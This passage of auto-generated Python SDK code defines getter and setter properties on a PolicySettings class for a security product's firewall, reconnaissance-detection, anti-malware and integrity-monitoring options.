return self._firewall_setting_engine_option_connection_cleanup_timeout
@firewall_setting_engine_option_connection_cleanup_timeout.setter
def firewall_setting_engine_option_connection_cleanup_timeout(self, firewall_setting_engine_option_connection_cleanup_timeout):
"""Sets the firewall_setting_engine_option_connection_cleanup_timeout of this PolicySettings.
Connection Cleanup Timeout # noqa: E501
:param firewall_setting_engine_option_connection_cleanup_timeout: The firewall_setting_engine_option_connection_cleanup_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_connection_cleanup_timeout = firewall_setting_engine_option_connection_cleanup_timeout
@property
def anti_malware_setting_smart_protection_local_server_allow_off_domain_global(self):
"""Gets the anti_malware_setting_smart_protection_local_server_allow_off_domain_global of this PolicySettings. # noqa: E501
When off domain, connect to global Smart Protection Service. (Windows only) # noqa: E501
:return: The anti_malware_setting_smart_protection_local_server_allow_off_domain_global of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_smart_protection_local_server_allow_off_domain_global
@anti_malware_setting_smart_protection_local_server_allow_off_domain_global.setter
def anti_malware_setting_smart_protection_local_server_allow_off_domain_global(self, anti_malware_setting_smart_protection_local_server_allow_off_domain_global):
"""Sets the anti_malware_setting_smart_protection_local_server_allow_off_domain_global of this PolicySettings.
When off domain, connect to global Smart Protection Service. (Windows only) # noqa: E501
:param anti_malware_setting_smart_protection_local_server_allow_off_domain_global: The anti_malware_setting_smart_protection_local_server_allow_off_domain_global of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_smart_protection_local_server_allow_off_domain_global = anti_malware_setting_smart_protection_local_server_allow_off_domain_global
@property
def firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled(self):
"""Gets the firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled of this PolicySettings. # noqa: E501
TCP SYNFIN Scan - Notify DSM Immediately # noqa: E501
:return: The firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled
@firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled.setter
def firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled(self, firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled):
"""Sets the firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled of this PolicySettings.
TCP SYNFIN Scan - Notify DSM Immediately # noqa: E501
:param firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled: The firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled = firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled
@property
def firewall_setting_engine_option_error_timeout(self):
"""Gets the firewall_setting_engine_option_error_timeout of this PolicySettings. # noqa: E501
ERROR Timeout # noqa: E501
:return: The firewall_setting_engine_option_error_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_error_timeout
@firewall_setting_engine_option_error_timeout.setter
def firewall_setting_engine_option_error_timeout(self, firewall_setting_engine_option_error_timeout):
"""Sets the firewall_setting_engine_option_error_timeout of this PolicySettings.
ERROR Timeout # noqa: E501
:param firewall_setting_engine_option_error_timeout: The firewall_setting_engine_option_error_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_error_timeout = firewall_setting_engine_option_error_timeout
@property
def web_reputation_setting_allowed_urls(self):
"""Gets the web_reputation_setting_allowed_urls of this PolicySettings. # noqa: E501
Allowed Page URLs # noqa: E501
:return: The web_reputation_setting_allowed_urls of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_allowed_urls
@web_reputation_setting_allowed_urls.setter
def web_reputation_setting_allowed_urls(self, web_reputation_setting_allowed_urls):
"""Sets the web_reputation_setting_allowed_urls of this PolicySettings.
Allowed Page URLs # noqa: E501
:param web_reputation_setting_allowed_urls: The web_reputation_setting_allowed_urls of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_allowed_urls = web_reputation_setting_allowed_urls
@property
def firewall_setting_reconnaissance_notify_network_or_port_scan_enabled(self):
"""Gets the firewall_setting_reconnaissance_notify_network_or_port_scan_enabled of this PolicySettings. # noqa: E501
Network or Port Scan - Notify DSM Immediately # noqa: E501
:return: The firewall_setting_reconnaissance_notify_network_or_port_scan_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_notify_network_or_port_scan_enabled
@firewall_setting_reconnaissance_notify_network_or_port_scan_enabled.setter
def firewall_setting_reconnaissance_notify_network_or_port_scan_enabled(self, firewall_setting_reconnaissance_notify_network_or_port_scan_enabled):
"""Sets the firewall_setting_reconnaissance_notify_network_or_port_scan_enabled of this PolicySettings.
Network or Port Scan - Notify DSM Immediately # noqa: E501
:param firewall_setting_reconnaissance_notify_network_or_port_scan_enabled: The firewall_setting_reconnaissance_notify_network_or_port_scan_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_notify_network_or_port_scan_enabled = firewall_setting_reconnaissance_notify_network_or_port_scan_enabled
@property
def firewall_setting_engine_option_fin_wait1_timeout(self):
"""Gets the firewall_setting_engine_option_fin_wait1_timeout of this PolicySettings. # noqa: E501
FIN_WAIT1 Timeout # noqa: E501
:return: The firewall_setting_engine_option_fin_wait1_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_fin_wait1_timeout
@firewall_setting_engine_option_fin_wait1_timeout.setter
def firewall_setting_engine_option_fin_wait1_timeout(self, firewall_setting_engine_option_fin_wait1_timeout):
"""Sets the firewall_setting_engine_option_fin_wait1_timeout of this PolicySettings.
FIN_WAIT1 Timeout # noqa: E501
:param firewall_setting_engine_option_fin_wait1_timeout: The firewall_setting_engine_option_fin_wait1_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_fin_wait1_timeout = firewall_setting_engine_option_fin_wait1_timeout
@property
def firewall_setting_engine_option_generate_connection_events_udp_enabled(self):
"""Gets the firewall_setting_engine_option_generate_connection_events_udp_enabled of this PolicySettings. # noqa: E501
Generate Connection Events for UDP # noqa: E501
:return: The firewall_setting_engine_option_generate_connection_events_udp_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_generate_connection_events_udp_enabled
@firewall_setting_engine_option_generate_connection_events_udp_enabled.setter
def firewall_setting_engine_option_generate_connection_events_udp_enabled(self, firewall_setting_engine_option_generate_connection_events_udp_enabled):
"""Sets the firewall_setting_engine_option_generate_connection_events_udp_enabled of this PolicySettings.
Generate Connection Events for UDP # noqa: E501
:param firewall_setting_engine_option_generate_connection_events_udp_enabled: The firewall_setting_engine_option_generate_connection_events_udp_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_generate_connection_events_udp_enabled = firewall_setting_engine_option_generate_connection_events_udp_enabled
@property
def activity_monitoring_setting_syslog_config_id(self):
"""Gets the activity_monitoring_setting_syslog_config_id of this PolicySettings. # noqa: E501
Activity Monitoring Configuration # noqa: E501
:return: The activity_monitoring_setting_syslog_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._activity_monitoring_setting_syslog_config_id
@activity_monitoring_setting_syslog_config_id.setter
def activity_monitoring_setting_syslog_config_id(self, activity_monitoring_setting_syslog_config_id):
"""Sets the activity_monitoring_setting_syslog_config_id of this PolicySettings.
Activity Monitoring Configuration # noqa: E501
:param activity_monitoring_setting_syslog_config_id: The activity_monitoring_setting_syslog_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._activity_monitoring_setting_syslog_config_id = activity_monitoring_setting_syslog_config_id
@property
def firewall_setting_anti_evasion_check_tcp_syn_rst_flags(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_syn_rst_flags of this PolicySettings. # noqa: E501
TCP Syn Rst Flags # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_syn_rst_flags of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_syn_rst_flags
@firewall_setting_anti_evasion_check_tcp_syn_rst_flags.setter
def firewall_setting_anti_evasion_check_tcp_syn_rst_flags(self, firewall_setting_anti_evasion_check_tcp_syn_rst_flags):
"""Sets the firewall_setting_anti_evasion_check_tcp_syn_rst_flags of this PolicySettings.
TCP Syn Rst Flags # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_syn_rst_flags: The firewall_setting_anti_evasion_check_tcp_syn_rst_flags of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_syn_rst_flags = firewall_setting_anti_evasion_check_tcp_syn_rst_flags
@property
def anti_malware_setting_spyware_approved_list(self):
"""Gets the anti_malware_setting_spyware_approved_list of this PolicySettings. # noqa: E501
Allowed Spyware/Grayware # noqa: E501
:return: The anti_malware_setting_spyware_approved_list of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_spyware_approved_list
@anti_malware_setting_spyware_approved_list.setter
def anti_malware_setting_spyware_approved_list(self, anti_malware_setting_spyware_approved_list):
"""Sets the anti_malware_setting_spyware_approved_list of this PolicySettings.
Allowed Spyware/Grayware # noqa: E501
:param anti_malware_setting_spyware_approved_list: The anti_malware_setting_spyware_approved_list of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_spyware_approved_list = anti_malware_setting_spyware_approved_list
@property
def firewall_setting_anti_evasion_check_tcp_urgent_flags(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_urgent_flags of this PolicySettings. # noqa: E501
TCP Urgent Flags # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_urgent_flags of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_urgent_flags
@firewall_setting_anti_evasion_check_tcp_urgent_flags.setter
def firewall_setting_anti_evasion_check_tcp_urgent_flags(self, firewall_setting_anti_evasion_check_tcp_urgent_flags):
"""Sets the firewall_setting_anti_evasion_check_tcp_urgent_flags of this PolicySettings.
TCP Urgent Flags # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_urgent_flags: The firewall_setting_anti_evasion_check_tcp_urgent_flags of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_urgent_flags = firewall_setting_anti_evasion_check_tcp_urgent_flags
@property
def intrusion_prevention_setting_nsx_security_tagging_detect_mode_level(self):
"""Gets the intrusion_prevention_setting_nsx_security_tagging_detect_mode_level of this PolicySettings. # noqa: E501
Detect Mode # noqa: E501
:return: The intrusion_prevention_setting_nsx_security_tagging_detect_mode_level of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_nsx_security_tagging_detect_mode_level
@intrusion_prevention_setting_nsx_security_tagging_detect_mode_level.setter
def intrusion_prevention_setting_nsx_security_tagging_detect_mode_level(self, intrusion_prevention_setting_nsx_security_tagging_detect_mode_level):
"""Sets the intrusion_prevention_setting_nsx_security_tagging_detect_mode_level of this PolicySettings.
Detect Mode # noqa: E501
:param intrusion_prevention_setting_nsx_security_tagging_detect_mode_level: The intrusion_prevention_setting_nsx_security_tagging_detect_mode_level of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_nsx_security_tagging_detect_mode_level = intrusion_prevention_setting_nsx_security_tagging_detect_mode_level
@property
def intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled(self):
"""Gets the intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled of this PolicySettings. # noqa: E501
Bypass MAC addresses that don't belong to host # noqa: E501
:return: The intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled
@intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled.setter
def intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled(self, intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled):
"""Sets the intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled of this PolicySettings.
Bypass MAC addresses that don't belong to host # noqa: E501
:param intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled: The intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled = intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled
@property
def firewall_setting_engine_option_log_all_packet_data_enabled(self):
"""Gets the firewall_setting_engine_option_log_all_packet_data_enabled of this PolicySettings. # noqa: E501
Log All Packet Data # noqa: E501
:return: The firewall_setting_engine_option_log_all_packet_data_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_log_all_packet_data_enabled
@firewall_setting_engine_option_log_all_packet_data_enabled.setter
def firewall_setting_engine_option_log_all_packet_data_enabled(self, firewall_setting_engine_option_log_all_packet_data_enabled):
"""Sets the firewall_setting_engine_option_log_all_packet_data_enabled of this PolicySettings.
Log All Packet Data # noqa: E501
:param firewall_setting_engine_option_log_all_packet_data_enabled: The firewall_setting_engine_option_log_all_packet_data_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_log_all_packet_data_enabled = firewall_setting_engine_option_log_all_packet_data_enabled
@property
def firewall_setting_anti_evasion_check_tcp_syn_fin_flags(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_syn_fin_flags of this PolicySettings. # noqa: E501
TCP Syn Fin Flags # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_syn_fin_flags of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_syn_fin_flags
@firewall_setting_anti_evasion_check_tcp_syn_fin_flags.setter
def firewall_setting_anti_evasion_check_tcp_syn_fin_flags(self, firewall_setting_anti_evasion_check_tcp_syn_fin_flags):
"""Sets the firewall_setting_anti_evasion_check_tcp_syn_fin_flags of this PolicySettings.
TCP Syn Fin Flags # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_syn_fin_flags: The firewall_setting_anti_evasion_check_tcp_syn_fin_flags of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_syn_fin_flags = firewall_setting_anti_evasion_check_tcp_syn_fin_flags
@property
def platform_setting_heartbeat_interval(self):
"""Gets the platform_setting_heartbeat_interval of this PolicySettings. # noqa: E501
Heartbeat Interval # noqa: E501
:return: The platform_setting_heartbeat_interval of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_heartbeat_interval
@platform_setting_heartbeat_interval.setter
def platform_setting_heartbeat_interval(self, platform_setting_heartbeat_interval):
"""Sets the platform_setting_heartbeat_interval of this PolicySettings.
Heartbeat Interval # noqa: E501
:param platform_setting_heartbeat_interval: The platform_setting_heartbeat_interval of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_heartbeat_interval = platform_setting_heartbeat_interval
@property
def firewall_setting_engine_option_fragment_size_min(self):
"""Gets the firewall_setting_engine_option_fragment_size_min of this PolicySettings. # noqa: E501
Minimum Fragment Size # noqa: E501
:return: The firewall_setting_engine_option_fragment_size_min of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_fragment_size_min
@firewall_setting_engine_option_fragment_size_min.setter
def firewall_setting_engine_option_fragment_size_min(self, firewall_setting_engine_option_fragment_size_min):
"""Sets the firewall_setting_engine_option_fragment_size_min of this PolicySettings.
Minimum Fragment Size # noqa: E501
:param firewall_setting_engine_option_fragment_size_min: The firewall_setting_engine_option_fragment_size_min of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_fragment_size_min = firewall_setting_engine_option_fragment_size_min
@property
def anti_malware_setting_smart_protection_server_connection_lost_warning_enabled(self):
"""Gets the anti_malware_setting_smart_protection_server_connection_lost_warning_enabled of this PolicySettings. # noqa: E501
Warn if connection to Smart Protection Server is lost # noqa: E501
:return: The anti_malware_setting_smart_protection_server_connection_lost_warning_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_smart_protection_server_connection_lost_warning_enabled
@anti_malware_setting_smart_protection_server_connection_lost_warning_enabled.setter
def anti_malware_setting_smart_protection_server_connection_lost_warning_enabled(self, anti_malware_setting_smart_protection_server_connection_lost_warning_enabled):
"""Sets the anti_malware_setting_smart_protection_server_connection_lost_warning_enabled of this PolicySettings.
Warn if connection to Smart Protection Server is lost # noqa: E501
:param anti_malware_setting_smart_protection_server_connection_lost_warning_enabled: The anti_malware_setting_smart_protection_server_connection_lost_warning_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_smart_protection_server_connection_lost_warning_enabled = anti_malware_setting_smart_protection_server_connection_lost_warning_enabled
@property
def firewall_setting_reconnaissance_block_network_or_port_scan_duration(self):
"""Gets the firewall_setting_reconnaissance_block_network_or_port_scan_duration of this PolicySettings. # noqa: E501
Network or Port Scan - Block Traffic # noqa: E501
:return: The firewall_setting_reconnaissance_block_network_or_port_scan_duration of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_block_network_or_port_scan_duration
@firewall_setting_reconnaissance_block_network_or_port_scan_duration.setter
def firewall_setting_reconnaissance_block_network_or_port_scan_duration(self, firewall_setting_reconnaissance_block_network_or_port_scan_duration):
"""Sets the firewall_setting_reconnaissance_block_network_or_port_scan_duration of this PolicySettings.
Network or Port Scan - Block Traffic # noqa: E501
:param firewall_setting_reconnaissance_block_network_or_port_scan_duration: The firewall_setting_reconnaissance_block_network_or_port_scan_duration of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_block_network_or_port_scan_duration = firewall_setting_reconnaissance_block_network_or_port_scan_duration
@property
def integrity_monitoring_setting_content_hash_algorithm(self):
"""Gets the integrity_monitoring_setting_content_hash_algorithm of this PolicySettings. # noqa: E501
Integrity Monitoring Hash Algorithm # noqa: E501
:return: The integrity_monitoring_setting_content_hash_algorithm of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._integrity_monitoring_setting_content_hash_algorithm
@integrity_monitoring_setting_content_hash_algorithm.setter
def integrity_monitoring_setting_content_hash_algorithm(self, integrity_monitoring_setting_content_hash_algorithm):
"""Sets the integrity_monitoring_setting_content_hash_algorithm of this PolicySettings.
Integrity Monitoring Hash Algorithm # noqa: E501
:param integrity_monitoring_setting_content_hash_algorithm: The integrity_monitoring_setting_content_hash_algorithm of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._integrity_monitoring_setting_content_hash_algorithm = integrity_monitoring_setting_content_hash_algorithm
@property
def anti_malware_setting_smart_scan_state(self):
"""Gets the anti_malware_setting_smart_scan_state of this PolicySettings. # noqa: E501
Smart Scan State # noqa: E501
:return: The anti_malware_setting_smart_scan_state of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_smart_scan_state
@anti_malware_setting_smart_scan_state.setter
def anti_malware_setting_smart_scan_state(self, anti_malware_setting_smart_scan_state):
"""Sets the anti_malware_setting_smart_scan_state of this PolicySettings.
Smart Scan State # noqa: E501
:param anti_malware_setting_smart_scan_state: The anti_malware_setting_smart_scan_state of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_smart_scan_state = anti_malware_setting_smart_scan_state
@property
def firewall_setting_config_package_exceeds_alert_max_enabled(self):
"""Gets the firewall_setting_config_package_exceeds_alert_max_enabled of this PolicySettings. # noqa: E501
Advanced - Generate an Alert when Agent configuration package exceeds maximum size # noqa: E501
:return: The firewall_setting_config_package_exceeds_alert_max_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_config_package_exceeds_alert_max_enabled
@firewall_setting_config_package_exceeds_alert_max_enabled.setter
def firewall_setting_config_package_exceeds_alert_max_enabled(self, firewall_setting_config_package_exceeds_alert_max_enabled):
"""Sets the firewall_setting_config_package_exceeds_alert_max_enabled of this PolicySettings.
Advanced - Generate an Alert when Agent configuration package exceeds maximum size # noqa: E501
:param firewall_setting_config_package_exceeds_alert_max_enabled: The firewall_setting_config_package_exceeds_alert_max_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_config_package_exceeds_alert_max_enabled = firewall_setting_config_package_exceeds_alert_max_enabled
@property
def platform_setting_environment_variable_overrides(self):
"""Gets the platform_setting_environment_variable_overrides of this PolicySettings. # noqa: E501
Environment Variable Overrides # noqa: E501
:return: The platform_setting_environment_variable_overrides of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_environment_variable_overrides
@platform_setting_environment_variable_overrides.setter
def platform_setting_environment_variable_overrides(self, platform_setting_environment_variable_overrides):
"""Sets the platform_setting_environment_variable_overrides of this PolicySettings.
Environment Variable Overrides # noqa: E501
:param platform_setting_environment_variable_overrides: The platform_setting_environment_variable_overrides of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_environment_variable_overrides = platform_setting_environment_variable_overrides
@property
def firewall_setting_engine_option_fragment_offset_min(self):
"""Gets the firewall_setting_engine_option_fragment_offset_min of this PolicySettings. # noqa: E501
Minimum Fragment Offset # noqa: E501
:return: The firewall_setting_engine_option_fragment_offset_min of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_fragment_offset_min
@firewall_setting_engine_option_fragment_offset_min.setter
def firewall_setting_engine_option_fragment_offset_min(self, firewall_setting_engine_option_fragment_offset_min):
"""Sets the firewall_setting_engine_option_fragment_offset_min of this PolicySettings.
Minimum Fragment Offset # noqa: E501
:param firewall_setting_engine_option_fragment_offset_min: The firewall_setting_engine_option_fragment_offset_min of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_fragment_offset_min = firewall_setting_engine_option_fragment_offset_min
@property
def anti_malware_setting_smart_protection_local_server_urls(self):
"""Gets the anti_malware_setting_smart_protection_local_server_urls of this PolicySettings. # noqa: E501
Local Smart Protection Servers for Smart Scan # noqa: E501
:return: The anti_malware_setting_smart_protection_local_server_urls of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_smart_protection_local_server_urls
@anti_malware_setting_smart_protection_local_server_urls.setter
def anti_malware_setting_smart_protection_local_server_urls(self, anti_malware_setting_smart_protection_local_server_urls):
"""Sets the anti_malware_setting_smart_protection_local_server_urls of this PolicySettings.
Local Smart Protection Servers for Smart Scan # noqa: E501
:param anti_malware_setting_smart_protection_local_server_urls: The anti_malware_setting_smart_protection_local_server_urls of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_smart_protection_local_server_urls = anti_malware_setting_smart_protection_local_server_urls
@property
def firewall_setting_engine_option_syn_rcvd_timeout(self):
"""Gets the firewall_setting_engine_option_syn_rcvd_timeout of this PolicySettings. # noqa: E501
SYN_RCVD Timeout # noqa: E501
:return: The firewall_setting_engine_option_syn_rcvd_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_syn_rcvd_timeout
@firewall_setting_engine_option_syn_rcvd_timeout.setter
def firewall_setting_engine_option_syn_rcvd_timeout(self, firewall_setting_engine_option_syn_rcvd_timeout):
"""Sets the firewall_setting_engine_option_syn_rcvd_timeout of this PolicySettings.
SYN_RCVD Timeout # noqa: E501
:param firewall_setting_engine_option_syn_rcvd_timeout: The firewall_setting_engine_option_syn_rcvd_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_syn_rcvd_timeout = firewall_setting_engine_option_syn_rcvd_timeout
@property
def firewall_setting_event_log_file_cached_entries_num(self):
"""Gets the firewall_setting_event_log_file_cached_entries_num of this PolicySettings. # noqa: E501
Cache Size # noqa: E501
:return: The firewall_setting_event_log_file_cached_entries_num of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_event_log_file_cached_entries_num
@firewall_setting_event_log_file_cached_entries_num.setter
def firewall_setting_event_log_file_cached_entries_num(self, firewall_setting_event_log_file_cached_entries_num):
"""Sets the firewall_setting_event_log_file_cached_entries_num of this PolicySettings.
Cache Size # noqa: E501
:param firewall_setting_event_log_file_cached_entries_num: The firewall_setting_event_log_file_cached_entries_num of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_event_log_file_cached_entries_num = firewall_setting_event_log_file_cached_entries_num
@property
def firewall_setting_engine_option_force_allow_icmp_type3_code4(self):
"""Gets the firewall_setting_engine_option_force_allow_icmp_type3_code4 of this PolicySettings. # noqa: E501
Force Allow ICMP type3 code4 # noqa: E501
:return: The firewall_setting_engine_option_force_allow_icmp_type3_code4 of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_force_allow_icmp_type3_code4
@firewall_setting_engine_option_force_allow_icmp_type3_code4.setter
def firewall_setting_engine_option_force_allow_icmp_type3_code4(self, firewall_setting_engine_option_force_allow_icmp_type3_code4):
"""Sets the firewall_setting_engine_option_force_allow_icmp_type3_code4 of this PolicySettings.
Force Allow ICMP type3 code4 # noqa: E501
:param firewall_setting_engine_option_force_allow_icmp_type3_code4: The firewall_setting_engine_option_force_allow_icmp_type3_code4 of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_force_allow_icmp_type3_code4 = firewall_setting_engine_option_force_allow_icmp_type3_code4
@property
def firewall_setting_reconnaissance_block_tcp_null_scan_duration(self):
"""Gets the firewall_setting_reconnaissance_block_tcp_null_scan_duration of this PolicySettings. # noqa: E501
TCP Null Scan - Block Traffic # noqa: E501
:return: The firewall_setting_reconnaissance_block_tcp_null_scan_duration of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_block_tcp_null_scan_duration
@firewall_setting_reconnaissance_block_tcp_null_scan_duration.setter
def firewall_setting_reconnaissance_block_tcp_null_scan_duration(self, firewall_setting_reconnaissance_block_tcp_null_scan_duration):
"""Sets the firewall_setting_reconnaissance_block_tcp_null_scan_duration of this PolicySettings.
TCP Null Scan - Block Traffic # noqa: E501
:param firewall_setting_reconnaissance_block_tcp_null_scan_duration: The firewall_setting_reconnaissance_block_tcp_null_scan_duration of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_block_tcp_null_scan_duration = firewall_setting_reconnaissance_block_tcp_null_scan_duration
@property
def platform_setting_smart_protection_global_server_enabled(self):
"""Gets the platform_setting_smart_protection_global_server_enabled of this PolicySettings. # noqa: E501
Use Global Service for Census # noqa: E501
:return: The platform_setting_smart_protection_global_server_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_smart_protection_global_server_enabled
@platform_setting_smart_protection_global_server_enabled.setter
def platform_setting_smart_protection_global_server_enabled(self, platform_setting_smart_protection_global_server_enabled):
"""Sets the platform_setting_smart_protection_global_server_enabled of this PolicySettings.
Use Global Service for Census # noqa: E501
:param platform_setting_smart_protection_global_server_enabled: The platform_setting_smart_protection_global_server_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_smart_protection_global_server_enabled = platform_setting_smart_protection_global_server_enabled
@property
def integrity_monitoring_setting_realtime_enabled(self):
"""Gets the integrity_monitoring_setting_realtime_enabled of this PolicySettings. # noqa: E501
Real Time # noqa: E501
:return: The integrity_monitoring_setting_realtime_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._integrity_monitoring_setting_realtime_enabled
@integrity_monitoring_setting_realtime_enabled.setter
def integrity_monitoring_setting_realtime_enabled(self, integrity_monitoring_setting_realtime_enabled):
"""Sets the integrity_monitoring_setting_realtime_enabled of this PolicySettings.
Real Time # noqa: E501
:param integrity_monitoring_setting_realtime_enabled: The integrity_monitoring_setting_realtime_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._integrity_monitoring_setting_realtime_enabled = integrity_monitoring_setting_realtime_enabled
@property
def firewall_setting_engine_option_last_ack_timeout(self):
"""Gets the firewall_setting_engine_option_last_ack_timeout of this PolicySettings. # noqa: E501
LAST_ACK Timeout # noqa: E501
:return: The firewall_setting_engine_option_last_ack_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_last_ack_timeout
@firewall_setting_engine_option_last_ack_timeout.setter
def firewall_setting_engine_option_last_ack_timeout(self, firewall_setting_engine_option_last_ack_timeout):
"""Sets the firewall_setting_engine_option_last_ack_timeout of this PolicySettings.
LAST_ACK Timeout # noqa: E501
:param firewall_setting_engine_option_last_ack_timeout: The firewall_setting_engine_option_last_ack_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_last_ack_timeout = firewall_setting_engine_option_last_ack_timeout
@property
def firewall_setting_reconnaissance_exclude_ip_list_id(self):
"""Gets the firewall_setting_reconnaissance_exclude_ip_list_id of this PolicySettings. # noqa: E501
Reconnaissance Scan Detection - Do not perform detection on traffic coming from # noqa: E501
